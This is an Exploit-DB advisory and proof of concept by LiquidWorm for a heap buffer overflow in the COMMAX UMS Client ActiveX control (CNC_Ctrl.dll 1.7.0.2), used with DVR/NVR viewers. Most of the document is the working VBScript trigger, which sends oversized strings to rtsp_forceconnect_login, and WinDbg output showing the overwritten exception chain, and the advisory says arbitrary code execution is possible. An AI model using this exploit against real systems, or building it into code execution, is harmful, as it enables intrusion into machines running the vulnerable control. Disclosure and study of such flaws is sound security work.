Exploit-DB #50232
Description: COMMAX UMS Client ActiveX Control 1.7.0.2 - 'CNC_Ctrl.dll' Heap Buffer Overflow
Type: webapps
Platform: hardware
Date: 2021-08-27
Author: LiquidWorm

Exploit:
# Exploit Title: COMMAX UMS Client ActiveX Control 1.7.0.2 - 'CNC_Ctrl.dll' Heap Buffer Overflow
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX UMS Client ActiveX Control 1.7.0.2 (CNC_Ctrl.dll) Heap Buffer Overflow


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: 1.7.0.2

Summary: COMMAX activex web viewer UMS client (32bit) for COMMAX
DVR/NVR.

Desc: The vulnerability is caused due to a boundary error in the
processing of user input, which can be exploited to cause a heap
based buffer overflow when a user inserts overly long array of
string bytes through several functions. Successful exploitation
could allow execution of arbitrary code on the affected node.

Tested on: Microsoft Windows 10 Home (64bit) EN
           Microsoft Internet Explorer 20H2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5664
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5664.php


02.08.2021

--


<!-- functions: rtsp_forceconnect_login() and rtsp_connect_login() -->
<!-- parameters: user_id, user_pwd and rtsp_addr                   -->
<html>
<object classid='clsid:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A' id='cel' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\CNC_CTRL.dll"
prototype  = "Function rtsp_forceconnect_login ( ByVal user_id As String ,  ByVal user_pwd As String ,  ByVal rtsp_addr As String ,  ByVal rtsp_port As Long ,  ByVal rtp_proto As Long ,  ByVal device As Long ,  ByVal islive As Long ,  ByVal ch As Long ) As Long"
memberName = "rtsp_forceconnect_login"
progid     = "CNC_CTRLLib.UMS_Ctrl"
argCount   = 8

arga=String(2510, "C")
argb=String(2510, "B")
argc=String(2510, "A")
argd=1
arge=1
argf=1
argg=1
argh=1

cel.rtsp_forceconnect_login arga ,argb ,argc ,argd ,arge ,argf ,argg ,argh 

</script>
</html>

==

(5b1c.59e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for CNC_Ctrl.DLL - 
CNC_Ctrl!DllUnregisterServer+0x19e34:
10028cf2 83a1d412000000  and     dword ptr [ecx+12D4h],0 ds:002b:000012d4=????????
0:000:x86> r
eax=00000001 ebx=10119db8 ecx=00000000 edx=81ff6f2e esi=058c0048 edi=00000001
eip=10028cf2 esp=030fcf10 ebp=030fe33c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
CNC_Ctrl!DllUnregisterServer+0x19e34:
10028cf2 83a1d412000000  and     dword ptr [ecx+12D4h],0 ds:002b:000012d4=????????
0:000:x86> !exchain
030feab4: 41414141
Invalid exception stack at 41414141
0:000:x86> d esp
030fcf10  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf20  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf40  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf50  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf60  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf70  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf80  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000:x86> d ebp
030fe33c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe34c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe35c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe36c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe37c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe38c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe39c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe3ac  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0:000:x86> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

GetUrlPageData2 (WinHttp) failed: 12002.

DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
CNC_Ctrl!DllUnregisterServer+18ee3
10027da1 8999d4120000    mov     dword ptr [ecx+12D4h],ebx

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 10027da1 (CNC_Ctrl!DllUnregisterServer+0x00018ee3)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 000012d4
Attempt to write to address 000012d4

FAULTING_THREAD:  000056a4

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

PROCESS_NAME:  wscript.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  000012d4

FOLLOWUP_IP: 
CNC_Ctrl!DllUnregisterServer+18ee3
10027da1 8999d4120000    mov     dword ptr [ecx+12D4h],ebx

WRITE_ADDRESS:  000012d4 

WATSON_BKT_PROCSTAMP:  7159f3df

WATSON_BKT_PROCVER:  5.812.10240.16384

PROCESS_VER_PRODUCT:  Microsoft ® Windows Script Host

WATSON_BKT_MODULE:  CNC_Ctrl.DLL

WATSON_BKT_MODSTAMP:  547ed821

WATSON_BKT_MODOFFSET:  27da1

WATSON_BKT_MODVER:  1.7.0.2

MODULE_VER_PRODUCT:  CNC_Ctrl Module

BUILD_VERSION_STRING:  10.0.19041.1023 (WinBuild[PII_REDACTED])